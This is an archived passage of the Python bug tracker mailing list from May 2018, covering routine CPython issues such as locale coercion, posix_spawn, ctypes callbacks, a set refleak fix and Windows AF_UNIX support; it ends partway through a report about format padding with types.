Date: Wed, 02 May 2018 05:31:01 +0000 Subject: [issue33290] Python.org macOS pkg installs pip3 as pip In-Reply-To: <1523920180.91.0.682650639539.issue33290@psf.upfronthosting.co.za> Message-ID: <1525239061.47.0.682650639539.issue33290@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6380 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 01:38:41 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 02 May 2018 05:38:41 +0000 Subject: [issue33290] Python.org macOS pkg installs pip3 as pip In-Reply-To: <1523920180.91.0.682650639539.issue33290@psf.upfronthosting.co.za> Message-ID: <1525239521.37.0.682650639539.issue33290@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6381 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 01:44:01 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 02 May 2018 05:44:01 +0000 Subject: [issue33290] Python.org macOS pkg installs pip3 as pip In-Reply-To: <1523920180.91.0.682650639539.issue33290@psf.upfronthosting.co.za> Message-ID: <1525239841.66.0.682650639539.issue33290@psf.upfronthosting.co.za> Ned Deily added the comment: New changeset 1470e43076559d22518f2e8d704fa9426d2659dd by Ned Deily (Miss Islington (bot)) in branch '3.7': bpo-33290: Have macOS installer remove "pip" alias (GH-6683) (GH-6684) https://github.com/python/cpython/commit/1470e43076559d22518f2e8d704fa9426d2659dd ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 01:48:13 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 02 May 2018 05:48:13 +0000 Subject: [issue33290] Python.org macOS pkg installs pip3 as pip In-Reply-To: <1523920180.91.0.682650639539.issue33290@psf.upfronthosting.co.za> Message-ID: <1525240093.31.0.682650639539.issue33290@psf.upfronthosting.co.za> Ned Deily added the comment: New changeset 8ac441876418a217c31fe429733d7fa4704f0e3c by Ned Deily (Miss Islington (bot)) in branch '3.6': bpo-33290: Have macOS installer remove "pip" alias (GH-6683) (GH-6685) https://github.com/python/cpython/commit/8ac441876418a217c31fe429733d7fa4704f0e3c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 01:49:33 2018 From: report at bugs.python.org (Steven D'Aprano) Date: Wed, 02 May 2018 05:49:33 +0000 Subject: [issue33404] Phone Number Generator In-Reply-To: <1525224693.4.0.682650639539.issue33404@psf.upfronthosting.co.za> Message-ID: <1525240173.73.0.682650639539.issue33404@psf.upfronthosting.co.za> Steven D'Aprano added the comment: Hi Braiden, and welcome! I see that the ticket has already been closed, but another note for the future: please don't paste screenshots of your code, copy and paste the relevant source code. We don't edit code with Photoshop, and posting images makes it hard to copy the source for additional testing, and prevents those who are blind or visually impaired from getting involved. ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 02:18:14 2018 From: report at bugs.python.org (anthony shaw) Date: Wed, 02 May 2018 06:18:14 +0000 Subject: [issue33405] PYTHONCOERCECLOCALE no longer being respected Message-ID: <1525241894.06.0.682650639539.issue33405@psf.upfronthosting.co.za> New submission from anthony shaw : observing a behaviour on Python 3.7 b2 that doesn't match what's documented in PEP 538 PEP 538 states that the locale coercion behaviour can be disabled through the PYTHONCOERCECLOCALE environment variable. I would then expect the stdin encoding to be the same as Python 3.6 when the C locale is specified with no encoding value. bash-3.2$ LANG=C python3.6 -c "import sys; print(sys.stdin.encoding)" US-ASCII bash-3.2$ LANG=C python3.7 -c "import sys; print(sys.stdin.encoding)" utf-8 bash-3.2$ PYTHONCOERCECLOCALE=0 LANG=C python3.7 -c "import sys; print(sys.stdin.encoding)" utf-8 LC_ALL is not set bash-3.2$ locale LANG="C" LC_COLLATE="C" LC_CTYPE="C" LC_MESSAGES="C" LC_MONETARY="C" LC_NUMERIC="C" LC_TIME="C" LC_ALL= Trying to dig into the reason why the env flag isn't disabling the behaviour I found some subsequent changes after the PEP which look to have broken the original implementation behaviour. https://github.com/python/cpython/commit/9454060e84a669dde63824d9e2fcaf295e34f687 ---------- messages: 316045 nosy: anthony shaw priority: normal severity: normal status: open title: PYTHONCOERCECLOCALE no longer being respected type: behavior versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 02:19:38 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 02 May 2018 06:19:38 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1525241978.55.0.682650639539.issue20104@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: The current implementation looks half-baked to me. It doesn't implement the following features: 1. posix_spawnp(). It is like posix_spawn(), but searches an executable in PATH. 2. Passing various attributes of the created child process. POSIX_SPAWN_SETSIGMASK, POSIX_SPAWN_SETSCHEDPARAM, etc. And I have doubts about introducing constants like POSIX_SPAWN_OPEN: 1. There is no need to make them integers. They could be strings (for readability) or opaque values. 2. Their names can conflict with future standard constants related to posix_path(). Implementing new features in 3.8 can conflict with the current design. Removing posix_spawn() in 3.7 and deferring the work to 3.8 still looks a better solution to me. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 02:28:32 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 02 May 2018 06:28:32 +0000 Subject: [issue33405] PYTHONCOERCECLOCALE no longer being respected In-Reply-To: <1525241894.06.0.682650639539.issue33405@psf.upfronthosting.co.za> Message-ID: <1525242512.9.0.682650639539.issue33405@psf.upfronthosting.co.za> Change by Ned Deily : ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 02:32:57 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 02 May 2018 06:32:57 +0000 Subject: [issue33355] Windows 10 buildbot: 15 min timeout on test_mmap.test_large_filesize() In-Reply-To: <1524666296.0.0.682650639539.issue33355@psf.upfronthosting.co.za> Message-ID: <1525242777.41.0.682650639539.issue33355@psf.upfronthosting.co.za> Change by Ned Deily : ---------- nosy: +paul.moore, steve.dower, tim.golden, zach.ware priority: normal -> deferred blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 02:39:05 2018 From: report at bugs.python.org (Zuzu_Typ) Date: Wed, 02 May 2018 06:39:05 +0000 Subject: [issue33406] [ctypes] increase refcount of a CFUNCTYPE instance when passing to a CDLL Message-ID: <1525243145.23.0.682650639539.issue33406@psf.upfronthosting.co.za> New submission from Zuzu_Typ : It should be considered to increase the refcount of functions that are passed on to an external library at some point. If this is not done and e.g. the function was a local variable, when leaving the scope it gets garbage-collected. When the library now tries to execute said function, an access violation occurs. So if the refcount were increased either upon creating the CFUNCTYPE instance or when it's passed on, this could be avoided. ---------- components: ctypes messages: 316047 nosy: Zuzu_Typ priority: normal severity: normal status: open title: [ctypes] increase refcount of a CFUNCTYPE instance when passing to a CDLL type: behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 02:54:41 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 02 May 2018 06:54:41 +0000 Subject: [issue33406] [ctypes] increase refcount of a CFUNCTYPE instance when passing to a CDLL In-Reply-To: <1525243145.23.0.682650639539.issue33406@psf.upfronthosting.co.za> Message-ID: <1525244081.18.0.682650639539.issue33406@psf.upfronthosting.co.za> Change by Ned Deily : ---------- nosy: +amaury.forgeotdarc, belopolsky, meador.inge _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 02:54:54 2018 From: report at bugs.python.org (Matthias Klose) Date: Wed, 02 May 2018 06:54:54 +0000 Subject: [issue33393] update config.guess and config.sub In-Reply-To: <1525108484.46.0.682650639539.issue33393@psf.upfronthosting.co.za> Message-ID: <1525244094.27.0.682650639539.issue33393@psf.upfronthosting.co.za> Matthias Klose added the comment: New changeset 9da7ee40037fa30d0d28fd8d7c652cde14e5a834 by Matthias Klose (Miss Islington (bot)) in branch '3.7': bpo-33393: Update config.guess and config.sub files (GH-6658) (#6661) https://github.com/python/cpython/commit/9da7ee40037fa30d0d28fd8d7c652cde14e5a834 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 02:57:17 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 02 May 2018 06:57:17 +0000 Subject: [issue33394] the build of the shared modules is quiet/non-visible when GNU make gets passed macros In-Reply-To: <1525109371.22.0.682650639539.issue33394@psf.upfronthosting.co.za> Message-ID: <1525244237.19.0.682650639539.issue33394@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6382 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 03:08:29 2018 From: report at bugs.python.org (pmpp) Date: Wed, 02 May 2018 07:08:29 +0000 Subject: [issue33405] PYTHONCOERCECLOCALE no longer being respected In-Reply-To: <1525241894.06.0.682650639539.issue33405@psf.upfronthosting.co.za> Message-ID: <1525244909.9.0.682650639539.issue33405@psf.upfronthosting.co.za> pmpp added the comment: indeed a3+ says : PYTHONCOERCECLOCALE=0 LANG=C python3.7 -c "import sys; print(sys.stdin.encoding)" ANSI_X3.4-1968 but can reproduce on b3: PYTHONCOERCECLOCALE=0 LANG=C python3.7 -c "import sys; print(sys.stdin.encoding)" utf-8 ---------- nosy: +pmpp _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 03:17:10 2018 From: report at bugs.python.org (Mark Dickinson) Date: Wed, 02 May 2018 07:17:10 +0000 Subject: [issue33402] Change the fractions.Fraction class to convert to a unicode fraction string In-Reply-To: <1525214340.23.0.682650639539.issue33402@psf.upfronthosting.co.za> Message-ID: <1525245430.32.0.682650639539.issue33402@psf.upfronthosting.co.za> Mark Dickinson added the comment: -1 from me. Apart from anything else, the output for a general fraction looks (to my eyes) ugly in a fixed-width font: the tiny digits are harder to read, and there's too much space between successive numerator (or denominator) digits: those digits are designed for superscripts or subscripts. ---------- nosy: +mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 03:50:12 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 02 May 2018 07:50:12 +0000 Subject: [issue33405] PYTHONCOERCECLOCALE no longer being respected In-Reply-To: <1525241894.06.0.682650639539.issue33405@psf.upfronthosting.co.za> Message-ID: <1525247412.01.0.682650639539.issue33405@psf.upfronthosting.co.za> STINNER Victor added the comment: > PYTHONCOERCECLOCALE=0 LANG=C python3.7 -c "import sys; print(sys.stdin.encoding)" Are you aware of the PEP 540 "UTF-8 Mode"? It's also enabled automatically by the POSIX locale. If you hate UTF-8, you have to use: PYTHONCOERCECLOCALE=0 python3.7 -X utf8=0 or PYTHONCOERCECLOCALE=0 PYTHONUTF8=0 python3.7 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 03:58:59 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 02 May 2018 07:58:59 +0000 Subject: [issue33405] PYTHONCOERCECLOCALE no longer being respected In-Reply-To: <1525241894.06.0.682650639539.issue33405@psf.upfronthosting.co.za> Message-ID: <1525247939.28.0.682650639539.issue33405@psf.upfronthosting.co.za> STINNER Victor added the comment: I cannot reproduce the issue with the future Python 3.7 beta4: vstinner at apu$ PYTHONCOERCECLOCALE=0 LANG=C ./python -X utf8=0 -c "import sys; print(sys.stdin.encoding)" ANSI_X3.4-1968 vstinner at apu$ LANG=C ./python -X utf8=0 -c "import sys; print(sys.stdin.encoding)" UTF-8 vstinner at apu$ ./python Python 3.7.0b3+ (heads/3.7:887b5f8fc6, May 2 2018, 09:54:18) [GCC 7.3.1 20180303 (Red Hat 7.3.1-5)] on linux Type "help", "copyright", "credits" or "license" for more information. >>> The master branch works also as expected. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 04:44:00 2018 From: report at bugs.python.org (pmpp) Date: Wed, 02 May 2018 08:44:00 +0000 Subject: [issue33405] PYTHONCOERCECLOCALE no longer being respected In-Reply-To: <1525241894.06.0.682650639539.issue33405@psf.upfronthosting.co.za> Message-ID: <1525250640.29.0.682650639539.issue33405@psf.upfronthosting.co.za> pmpp added the comment: b3 is also ok with the -X parameter : PYTHONCOERCECLOCALE=0 LANG=C python3.7 -X utf8=0 -c "import sys; print(sys.stdin.encoding)" ANSI_X3.4-1968 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 04:47:16 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 02 May 2018 08:47:16 +0000 Subject: [issue33405] PYTHONCOERCECLOCALE no longer being respected In-Reply-To: <1525241894.06.0.682650639539.issue33405@psf.upfronthosting.co.za> Message-ID: <1525250836.63.0.682650639539.issue33405@psf.upfronthosting.co.za> STINNER Victor added the comment: Ok, pmpp confirmed that the 3.7b2 bug has been fixed in 3.7b3. Thank you for your bug report Anthony Shaw! ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 04:50:20 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 02 May 2018 08:50:20 +0000 Subject: [issue28167] remove platform.linux_distribution() In-Reply-To: <1473933007.75.0.131793274646.issue28167@psf.upfronthosting.co.za> Message-ID: <1525251020.22.0.682650639539.issue28167@psf.upfronthosting.co.za> STINNER Victor added the comment: IMHO it's now too late to remove it from Python 3.7. Moreover, if the current warning is *PendingDeprecationWarning*, the warning must first become in Python N, to then remove the feature in Python N+1. I'm ok to just change the warning and schedule a removal from Python 3.8. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 04:58:32 2018 From: report at bugs.python.org (Christian Heimes) Date: Wed, 02 May 2018 08:58:32 +0000 Subject: [issue28167] remove platform.linux_distribution() In-Reply-To: <1473933007.75.0.131793274646.issue28167@psf.upfronthosting.co.za> Message-ID: <1525251512.43.0.682650639539.issue28167@psf.upfronthosting.co.za> Christian Heimes added the comment: We still don't have a suitable replacement for the feature. Five years, Matthias suggested to add a parser for freedesktop's os-release file. ---------- nosy: +christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 05:16:40 2018 From: report at bugs.python.org (Eryk Sun) Date: Wed, 02 May 2018 09:16:40 +0000 Subject: [issue33406] [ctypes] increase the refcount of a callback function In-Reply-To: <1525243145.23.0.682650639539.issue33406@psf.upfronthosting.co.za> Message-ID: <1525252600.15.0.682650639539.issue33406@psf.upfronthosting.co.za> Eryk Sun added the comment: There isn't a problem in most cases, since functions that take a callback usually call it before returning. If the library does keep a long-lived reference to a callback (e.g. a console control handler in Windows), there are ways to support this, depending on the context (e.g. global variable, class attribute, instance attribute, a dict). However, for the case where a callback should remain referenced for the lifetime of the process, it would be convenient to have a `callback_incref` option. Internally this would use a new function flag `FUNCFLAG_CALLBACK_INCREF`. ---------- nosy: +eryksun title: [ctypes] increase refcount of a CFUNCTYPE instance when passing to a CDLL -> [ctypes] increase the refcount of a callback function type: behavior -> enhancement versions: +Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 05:29:19 2018 From: report at bugs.python.org (INADA Naoki) Date: Wed, 02 May 2018 09:29:19 +0000 Subject: [issue33391] leak in set_symmetric_difference? In-Reply-To: <1525081362.63.0.682650639539.issue33391@psf.upfronthosting.co.za> Message-ID: <1525253359.95.0.682650639539.issue33391@psf.upfronthosting.co.za> INADA Naoki added the comment: New changeset 491bbedc209fea314a04cb3015da68fb0aa63238 by INADA Naoki (lekma) in branch 'master': bpo-33391: Fix refleak in set_symmetric_difference (GH-6670) https://github.com/python/cpython/commit/491bbedc209fea314a04cb3015da68fb0aa63238 ---------- nosy: +inada.naoki _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 05:29:28 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 02 May 2018 09:29:28 +0000 Subject: [issue33391] leak in set_symmetric_difference? In-Reply-To: <1525081362.63.0.682650639539.issue33391@psf.upfronthosting.co.za> Message-ID: <1525253368.47.0.682650639539.issue33391@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6383 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 05:29:49 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 02 May 2018 09:29:49 +0000 Subject: [issue33407] Implement Py_DEPRECATED() macro for Visual Studio Message-ID: <1525253389.49.0.682650639539.issue33407@psf.upfronthosting.co.za> New submission from STINNER Victor : According to the following links, it would be possible to implement the Pc_DEPRECATED() macro for Visual Studio: https://mail.python.org/pipermail/python-dev/2018-May/153299.html https://stackoverflow.com/questions/295120/c-mark-as-deprecated/295229#295229 """ #ifdef __GNUC__ #define DEPRECATED(func) func __attribute__ ((deprecated)) #elif defined(_MSC_VER) #define DEPRECATED(func) __declspec(deprecated) func #else #pragma message("WARNING: You need to implement DEPRECATED for this compiler") #define DEPRECATED(func) func #endif """ Moreover, is Py_DEPRECATED() defined on clang which also supports the deprecated function attribute? https://clang.llvm.org/docs/AttributeReference.html#deprecated-gnu-deprecated Current Include/pyport.h code: #if defined(__GNUC__) \ && ((__GNUC__ >= 4) || (__GNUC__ == 3) && (__GNUC_MINOR__ >= 1)) #define Py_DEPRECATED(VERSION_UNUSED) __attribute__((__deprecated__)) #else #define Py_DEPRECATED(VERSION_UNUSED) #endif ---------- components: Windows messages: 316059 nosy: paul.moore, pitrou, steve.dower, tim.golden, vstinner, zach.ware priority: normal severity: normal status: open title: Implement Py_DEPRECATED() macro for Visual Studio versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 05:30:20 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 02 May 2018 09:30:20 +0000 Subject: [issue33391] leak in set_symmetric_difference? In-Reply-To: <1525081362.63.0.682650639539.issue33391@psf.upfronthosting.co.za> Message-ID: <1525253420.55.0.682650639539.issue33391@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6384 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 05:31:21 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 02 May 2018 09:31:21 +0000 Subject: [issue33391] leak in set_symmetric_difference? In-Reply-To: <1525081362.63.0.682650639539.issue33391@psf.upfronthosting.co.za> Message-ID: <1525253481.78.0.682650639539.issue33391@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6385 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 05:31:41 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 02 May 2018 09:31:41 +0000 Subject: [issue33407] Implement Py_DEPRECATED() macro for Visual Studio In-Reply-To: <1525253389.49.0.682650639539.issue33407@psf.upfronthosting.co.za> Message-ID: <1525253501.01.0.682650639539.issue33407@psf.upfronthosting.co.za> STINNER Victor added the comment: Oh, bpo-19569 is still open, for Visual Studio see: https://bugs.python.org/issue19569#msg227727 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 05:35:26 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Wed, 02 May 2018 09:35:26 +0000 Subject: [issue33407] Implement Py_DEPRECATED() macro for Visual Studio In-Reply-To: <1525253389.49.0.682650639539.issue33407@psf.upfronthosting.co.za> Message-ID: <1525253726.71.0.682650639539.issue33407@psf.upfronthosting.co.za> Antoine Pitrou added the comment: In Arrow we use the following: #if __cplusplus <= 201103L # ifdef __GNUC__ # define ARROW_DEPRECATED(...) __attribute__((deprecated(__VA_ARGS__))) # elif defined(_MSC_VER) # define ARROW_DEPRECATED(...) __declspec(deprecated(__VA_ARGS__)) # else # define ARROW_DEPRECATED(...) # endif #else # define ARROW_DEPRECATED(...) [[deprecated(__VA_ARGS__)]] #endif ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 05:50:50 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 02 May 2018 09:50:50 +0000 Subject: [issue33391] leak in set_symmetric_difference? In-Reply-To: <1525081362.63.0.682650639539.issue33391@psf.upfronthosting.co.za> Message-ID: <1525254650.89.0.682650639539.issue33391@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 6a56790e0b50846f1f968e48c3a321c148b5e6cd by Miss Islington (bot) in branch '3.7': bpo-33391: Fix refleak in set_symmetric_difference (GH-6670) https://github.com/python/cpython/commit/6a56790e0b50846f1f968e48c3a321c148b5e6cd ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 06:02:23 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 02 May 2018 10:02:23 +0000 Subject: [issue21822] KeyboardInterrupt during Thread.join hangs that Thread In-Reply-To: <1403365475.16.0.757881205569.issue21822@psf.upfronthosting.co.za> Message-ID: <1525255343.37.0.682650639539.issue21822@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- nosy: -vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 06:04:42 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 02 May 2018 10:04:42 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1525255482.04.0.682650639539.issue20104@psf.upfronthosting.co.za> STINNER Victor added the comment: > The current implementation looks half-baked to me. (...) I would prefer to see a full implementation before Python 3.7 final, or to remove the feature from Python 3.7 and redo it in Python 3.8. It seems doable to finish the implementation before Python 3.7 final. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 06:12:22 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 02 May 2018 10:12:22 +0000 Subject: [issue33391] leak in set_symmetric_difference? In-Reply-To: <1525081362.63.0.682650639539.issue33391@psf.upfronthosting.co.za> Message-ID: <1525255942.93.0.682650639539.issue33391@psf.upfronthosting.co.za> miss-islington added the comment: New changeset d5546991a2123b6ec84f7c4ecf37b62bedd78ea4 by Miss Islington (bot) in branch '3.6': bpo-33391: Fix refleak in set_symmetric_difference (GH-6670) https://github.com/python/cpython/commit/d5546991a2123b6ec84f7c4ecf37b62bedd78ea4 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 06:17:55 2018 From: report at bugs.python.org (Matthias Klose) Date: Wed, 02 May 2018 10:17:55 +0000 Subject: [issue28167] remove platform.linux_distribution() In-Reply-To: <1473933007.75.0.131793274646.issue28167@psf.upfronthosting.co.za> Message-ID: <1525256275.14.0.682650639539.issue28167@psf.upfronthosting.co.za> Matthias Klose added the comment: there is https://pypi.org/project/distro/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 06:23:43 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 02 May 2018 10:23:43 +0000 Subject: [issue33391] leak in set_symmetric_difference? In-Reply-To: <1525081362.63.0.682650639539.issue33391@psf.upfronthosting.co.za> Message-ID: <1525256623.87.0.682650639539.issue33391@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 6d3d02c69a65abcd64eb6d83baac5675f9208318 by Miss Islington (bot) in branch '2.7': bpo-33391: Fix refleak in set_symmetric_difference (GH-6670) https://github.com/python/cpython/commit/6d3d02c69a65abcd64eb6d83baac5675f9208318 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 06:35:32 2018 From: report at bugs.python.org (Filip *) Date: Wed, 02 May 2018 10:35:32 +0000 Subject: [issue33408] AF_UNIX is now supported in Windows Message-ID: <1525257332.06.0.682650639539.issue33408@psf.upfronthosting.co.za> New submission from Filip * : Unix socket (AF_UNIX) is now avalible in Windows 10 (April 2018 Update). Please add Python support for it. More details about it on https://blogs.msdn.microsoft.com/commandline/2017/12/19/af_unix-comes-to-windows/ ---------- components: Windows messages: 316067 nosy: filips123, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: AF_UNIX is now supported in Windows type: enhancement versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 06:35:58 2018 From: report at bugs.python.org (INADA Naoki) Date: Wed, 02 May 2018 10:35:58 +0000 Subject: [issue33391] leak in set_symmetric_difference? In-Reply-To: <1525081362.63.0.682650639539.issue33391@psf.upfronthosting.co.za> Message-ID: <1525257358.92.0.682650639539.issue33391@psf.upfronthosting.co.za> Change by INADA Naoki : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 06:54:33 2018 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 02 May 2018 10:54:33 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1525258473.82.0.682650639539.issue20104@psf.upfronthosting.co.za> Change by Pablo Galindo Salgado : ---------- pull_requests: +6386 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 06:55:45 2018 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 02 May 2018 10:55:45 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1525258545.94.0.682650639539.issue20104@psf.upfronthosting.co.za> Pablo Galindo Salgado added the comment: I have open https://github.com/python/cpython/pull/6693 to start iterating over the missing capabilities of posix_spawn (Passing various attributes of the created child process). Please, review to make sure that the design is OK and I will proceed to add tests. Thanks! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 07:17:49 2018 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 02 May 2018 11:17:49 +0000 Subject: [issue33408] AF_UNIX is now supported in Windows In-Reply-To: <1525257332.06.0.682650639539.issue33408@psf.upfronthosting.co.za> Message-ID: <1525259869.97.0.682650639539.issue33408@psf.upfronthosting.co.za> Change by Eric V. Smith : ---------- nosy: +eric.smith versions: +Python 3.8 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 07:33:42 2018 From: report at bugs.python.org (Nick Coghlan) Date: Wed, 02 May 2018 11:33:42 +0000 Subject: [issue33409] Clarify the interaction between locale coercion & UTF-8 mode Message-ID: <1525260822.94.0.682650639539.issue33409@psf.upfronthosting.co.za> New submission from Nick Coghlan : While Victor and I reconciled the respective designs & implementations of PEP 538/540 (with 538 relying on 540 to handle the "No suitable target locale" case, and 540 relying on 538 to handle extension modules like GNU readline), the interaction between the two mechanisms currently isn't clear in the documentation. So, before 3.7rc1 goes out, we should: 1. Combine the presentation of the two PEPs in the What's New documentation to make it clearer that they're tackling different aspects of the same problem 2. Clarify in the reference docs for PYTHONCOERCECLOCALE and PYTHONUTF8MODE that they're independent settings (so you have to explicitly turn them *both* off if you truly want to force ASCII based text handling in the C or POSIX locale) (Issue raised based on a Twitter discussion with Anthony Shaw at https://twitter.com/anthonypjshaw/status/991614899791933441) ---------- assignee: ncoghlan components: Documentation messages: 316069 nosy: ncoghlan, vstinner priority: high severity: normal stage: needs patch status: open title: Clarify the interaction between locale coercion & UTF-8 mode type: enhancement versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 08:19:24 2018 From: report at bugs.python.org (Fred L. Drake, Jr.) Date: Wed, 02 May 2018 12:19:24 +0000 Subject: [issue1644818] Allow built-in packages and submodules as well as top-level modules Message-ID: <1525263564.75.0.682650639539.issue1644818@psf.upfronthosting.co.za> Change by Fred L. Drake, Jr. : ---------- nosy: +fdrake _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 09:54:46 2018 From: report at bugs.python.org (Floreal) Date: Wed, 02 May 2018 13:54:46 +0000 Subject: [issue22848] Subparser help does not respect SUPPRESS argument In-Reply-To: <1415728297.74.0.809984326992.issue22848@psf.upfronthosting.co.za> Message-ID: <1525269286.84.0.682650639539.issue22848@psf.upfronthosting.co.za> Floreal added the comment: Will this patch be integrated in future days / weeks / years? I still want to add a hidden subparser, but doing this by editing manually the metavar of the subparsers is not a good solution... ---------- nosy: +floreal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 10:03:26 2018 From: report at bugs.python.org (Ben FrantzDale) Date: Wed, 02 May 2018 14:03:26 +0000 Subject: [issue33275] glob.glob should explicitly note that results aren't sorted In-Reply-To: <1523644726.46.0.682650639539.issue33275@psf.upfronthosting.co.za> Message-ID: <1525269806.39.0.682650639539.issue33275@psf.upfronthosting.co.za> Ben FrantzDale added the comment: I looked into it a bit more. With python 2.7 on macOS High Sierra on APFS (Encrypted) with a FAT32 thumb drive... I have a directory that glob.glob('/Volumes/thumb/tmp/*') shows as sorted. I cp -r that to /tmp with bash. glob.glob('/tmp/tmp/*') is now not sorted. and cp -r /tmp/tmp /Volumes/thumb/tmp1. Then glob.glob('/Volumes/thumb/tmp/*') shows a different order, but if I cp -r /Volumes/thumb/tmp/ /Volumes/thumb/tmp2 then glob.glob('/Volumes/thumb/tmp2/*') is sorted by file name just like glob.glob('/Volumes/thumb/tmp/*'). I'm not sue what that's saying other than that glob.glob can return things out of order on FAT32. It appears that glob.glob's ordering agrees with that of ls -f ("unsorted"). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 10:22:10 2018 From: report at bugs.python.org (alex) Date: Wed, 02 May 2018 14:22:10 +0000 Subject: [issue33410] Using type in a format with padding causes TypeError Message-ID: <1525270930.67.0.682650639539.issue33410@psf.upfronthosting.co.za> New submission from alex : When trying to print a type in a formatted string with padding TypeError is raised. See examples below. These work: >>> a = 'abc' >>> print('{a}'.format(a=type(a))) >>> print('{a}'.format(a=str(type(a)))) These don't: >>> print('{a: >10}'.format(a=type(a))) Traceback (most recent call last): File "", line 1, in TypeError: unsupported format string passed to type.__format__ >>> t = type(a) >>> print('{a: 